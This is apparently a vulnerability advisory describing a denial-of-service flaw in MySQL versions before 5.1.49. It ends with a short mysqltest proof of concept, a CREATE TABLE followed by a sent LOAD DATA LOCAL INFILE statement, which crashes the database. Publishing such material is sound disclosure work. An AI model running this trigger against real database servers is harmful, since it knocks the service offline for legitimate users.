source: https://www.securityfocus.com/bid/42625/info MySQL is prone to a denial-of-service vulnerability. An attacker can exploit this issue to crash the database, denying access to legitimate users. This issue affects versions prior to MySQL 5.1.49. NOTE: This issue was previously covered in BID 42594 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it. # cat t/tst.test # The file might exist or not, it does not make any difference. # --send is important CREATE TABLE test.t_load (id INT NOT NULL); --send LOAD DATA LOCAL INFILE 'tb.txt' INTO TABLE test.t_load #